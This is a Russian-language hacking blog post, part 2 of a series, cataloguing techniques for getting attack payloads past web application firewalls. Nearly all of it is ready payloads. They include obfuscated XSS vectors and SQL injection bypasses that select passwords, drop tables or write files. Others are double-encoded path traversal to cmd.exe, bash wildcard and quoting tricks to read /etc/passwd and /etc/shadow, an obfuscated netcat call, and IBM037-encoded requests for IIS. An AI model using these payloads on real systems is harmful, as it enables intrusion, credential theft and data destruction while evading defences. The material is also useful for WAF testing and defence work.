WAF (Web Application Firewall). Часть 2
Life-Hack [Жизнь-Взлом]/ХакингВеб-приложения кодируют специальные символы в HTML. Кодирование и рендеринг соответственно. Базовые случаи обхода с числовой и общей кодировкой HTML.
Basic Request:
"><img src=x onerror=confirm()>
Encoded Payload:
"><img src=x onerror=confirm()>
Encoded Payload:
"><img src=x onerror=confirm()>
5. Техника смешанного кодирования
Такие правила часто имеют тенденцию отфильтровывать определенный тип кодирования. Такие фильтры можно обойти с помощью полезных данных смешанного кодирования. Новые строки и вкладки и дальнейшая обфускация.
Obfuscate Payload:
<A HREF="h tt p://6 6.000146.0x7.147/">XSS</A>
6. Использование техники комментариев
Комментарии скрывают стандартные векторы полезной нагрузки. Различные полезные данные имеют разные способы обфускации.
Blocked by WAF:
<script>confirm()</script>
Bypassed Technique:
<!--><script>confirm/**/()/**/</script>
Blocked by WAF:
/?id=1+union+select+1,2--
Bypassed Technique:
/?id=1+un/**/ion+sel/**/ect+1,2--
Вставляйте комментарии в середину строк атаки. Например, / *! SELECT * / может игнорироваться WAF, но передаваться целевому приложению и обрабатываться базой данных mysql.
Example in URL:
index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4 'union%a0select pass from users#
Example in URL:
index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
7. Метод двойного кодирования
Фильтры брандмауэра веб-приложений обычно кодируют символы для защиты веб-приложения. Плохо разработанные фильтры (без фильтров рекурсии) можно обойти с помощью двойного кодирования.
Basic Request:
http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscate Payload:
http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
Basic Request:
<script>confirm()</script>
Obfuscate Payload:
%253Cscript%253Econfirm()%253C%252Fscript%253E
8. Техника обфускации подстановочных знаков
Глобальные шаблоны используются различными утилитами командной строки для работы с несколькими файлами. Мы можем изменить их для запуска системных команд.
Basic Request:
/bin/cat /etc/passwd
Obfuscate Payload:
/???/??t /???/??ss??
Used chars:
/ ? t s
Basic Request:
/bin/nc 127.0.0.1 443
Obfuscate Payload:
/???/n? 2130706433 443
Used chars:
/ ? n [0-9]
Техника создания динамической полезной нагрузки: Языки программирования имеют разные шаблоны и синтаксис для конкатенации.
Это позволяет нам создавать полезные данные, которые могут обходить многие фильтры и правила.
Basic Request:
<script>confirm()</script>
Obfuscate Payload:
<script>eval('con'+'fi'+'rm()')</script>
Basic Request:
/bin/cat /etc/shadow
Obfuscate Payload:
/bi'n'''/c''at' /e'tc'/sh''ad'ow
Bash допускает конкатенацию путей для выполнения.
Basic Request:
<iframe/onload='this["src"]="javascript:confirm()"';>
Obfuscate Payload:
<iframe/onload='this["src"]="jav"+"as cr"+"ipt:con"+"fir"+"m()"';>
9. Junk Characters Техника
Простые полезные данные легко фильтруются WAF. Добавление некоторых нежелательных символов помогает избежать обнаружения (только в определенных случаях).
Этот метод часто помогает запутать брандмауэры на основе регулярных выражений.
Basic Request:
<script>confirm()</script>
Obfuscate Payload:
<script>+-+-1-+-+confirm()</script>
Basic Request:
<BODY onload=confirm()>
Obfuscate Payload:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>
Basic Request:
<a href=javascript;alert()>ClickMe
Bypassed Technique:
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
10. Техника разрывов строк
Многие WAF с фильтрацией на основе регулярных выражений эффективно блокируют множество попыток. Техника разрыва строки (CR и LF) может нарушить регулярное выражение брандмауэра и обойти его.
Basic Request:
<iframe src=javascript:confirm(hacker)">
Obfuscate Payload:
<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hacker)">
11. Техника неинициализированных переменных
Фильтры на основе неправильных регулярных выражений можно обойти использованием неинициализированных переменных bash. Такое значение равно нулю и действует как пустые строки. Bash и Perl допускают такие интерпретации. First Level Obfuscation:
Normal
- Basic Request:
-
/bin/cat$u /etc/shadow$u
Second Level Obfuscation:
Position Based
- Basic Request:
-
$u/bin$u/cat$u $u/etc$u/shadow$u
Third Level Obfuscation:
Random characters
- Basic Request:
-
$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
12. Техника табуляции и перевода строки
Вкладки часто помогают обойти брандмауэры, особенно основанные на регулярных выражениях. Вкладки могут помочь сломать регулярное выражение WAF, когда регулярное выражение ожидает пробелы, а не табуляции.
Basic Request:
<IMG SRC="javascript:confirm();">
Bypassed Technique:
<IMG SRC=" javascript:confirm();">
Variant:
<IMG SRC=" jav ascri pt:confirm ();">
Basic Request:
http://test.com/test?id=1 union select 1,2,3
Bypassed Technique:
http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
Basic Request:
<iframe src=javascript:confirm()></iframe>
Obfuscate Payload:
<iframe src=j a v a s c r i p t :c o n f i r m %28 %29></iframe>
13. Token Breakers Техника
Атаки на токен - это попытка нарушить логику разделения запроса на токены с помощью средств защиты токенов. Взломщики токенов - это символы, позволяющие повлиять на соответствие между элементом строки и определенным токеном. Наш запрос должен оставаться в силе при использовании взломщиков токенов. Пример использования: неизвестный токен для токенизатора.
Our Payload:
?id=‘-sqlite_version() UNION SELECT passwords FROM users --
Пример: неизвестный контекст для синтаксического анализатора (обратите внимание на неконтекстную скобку)
First Payload:
?id=12);DROP TABLE users --
Second Payload:
?id=133) INTO OUTFILE ‘xxx’ --
14. Техника обфускации в других форматах
Многие веб-приложения поддерживают разные типы кодировки и могут интерпретировать кодировку. Нам всегда нужно обфускировать полезную нагрузку в формат, не поддерживаемый WAF, но сервер может переправить нашу полезную нагрузку.
Случай IIS:
IIS 6, 7.5, 8 и 10 допускают интерпретацию символов IBM037.
Отправьте закодированные параметры с запросом:
Original Request:
POST /example.aspx?id7=sometext HTTP/1.1 HOST: target.org Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 27 id2='union all select * from users--
Obfuscated Request with URL Encoding:
POST /example.aspx?%89%84%F7=%A2%95%94%86%A3%88%89%95%87 HTTP/1.1 HOST: target.org Content-Type: application/x-www-form-urlencoded; charset=ibm037 Content-Length: 127 %89%84%F2=%7D%A4%95%89%97%95%40%81%93%94%40%A2%85%93%85%84%A3%40%5C%40%86%99
Заключение
Подведем итог всему написанному выше:
- Всегда мыслите нестандартно
- Попробуйте разные методы кодирования, и некоторые из них будут работать
- Не поленитесь проверить записи DNS, так как только тогда вы добьетесь успеха в поиске ошибок.
- Не забывайте, что любую защиту можно обойти в веб-ресурсах и WAF не панацея от всех проблем
- Хакеры не дремлют и всегда ищут новые методы атаки на ваши ресурсы и получения прибыли